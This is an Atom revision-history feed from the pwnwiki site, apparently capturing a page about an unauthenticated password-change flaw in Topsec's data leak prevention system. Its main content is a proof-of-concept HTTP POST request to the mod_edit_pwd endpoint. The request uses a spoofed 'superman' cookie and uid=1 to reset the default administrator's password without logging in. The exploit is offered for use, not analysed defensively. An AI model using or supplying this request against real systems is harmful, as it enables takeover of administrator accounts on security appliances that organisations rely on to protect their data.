https://pwnwiki.com/index.php?action=history&feed=atom&title=%E5%A4%A9%E8%9E%8D%E4%BF%A1%E6%95%B8%E6%93%9A%E9%98%B2%E6%B4%A9%E6%BC%8F%E7%B3%BB%E7%B5%B1%E8%B6%8A%E6%AC%8A%E4%BF%AE%E6%94%B9%E7%AE%A1%E7%90%86%E5%93%A1%E5%AF%86%E7%A2%BC%E6%BC%8F%E6%B4%9E天融信數據防洩漏系統越權修改管理員密碼漏洞 - Revision history2026-04-08T01:30:38ZRevision history for this page on the wikiMediaWiki 1.35.1https://pwnwiki.com/index.php?title=%E5%A4%A9%E8%9E%8D%E4%BF%A1%E6%95%B8%E6%93%9A%E9%98%B2%E6%B4%A9%E6%BC%8F%E7%B3%BB%E7%B5%B1%E8%B6%8A%E6%AC%8A%E4%BF%AE%E6%94%B9%E7%AE%A1%E7%90%86%E5%93%A1%E5%AF%86%E7%A2%BC%E6%BC%8F%E6%B4%9E&diff=1688&oldid=prevPwnwiki: Created page with "==POC== 無需登錄權限,由於修改密碼處未校驗原密碼,且/?module=auth_user&action=mod_edit_pwd，接口未授權訪問,造成直接修改任意用戶密 碼，..."2021-04-15T10:19:38Z<p>Created page with "==POC== 無需登錄權限,由於修改密碼處未校驗原密碼,且/?module=auth_user&action=mod_edit_pwd，接口未授權訪問,造成直接修改任意用戶密 碼，..."</p>
<p><b>New page</b></p><div>==POC==<br />
無需登錄權限,由於修改密碼處未校驗原密碼,且/?module=auth_user&action=mod_edit_pwd，接口未授權訪問,造成直接修改任意用戶密 碼，默認superman賬戶uid為1<br />
<br />
<pre><br />
POST /?module=auth_user&action=mod_edit_pwd <br />
Cookie: username=superman;<br />
<br />
uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1<br />
</pre></div>Pwnwiki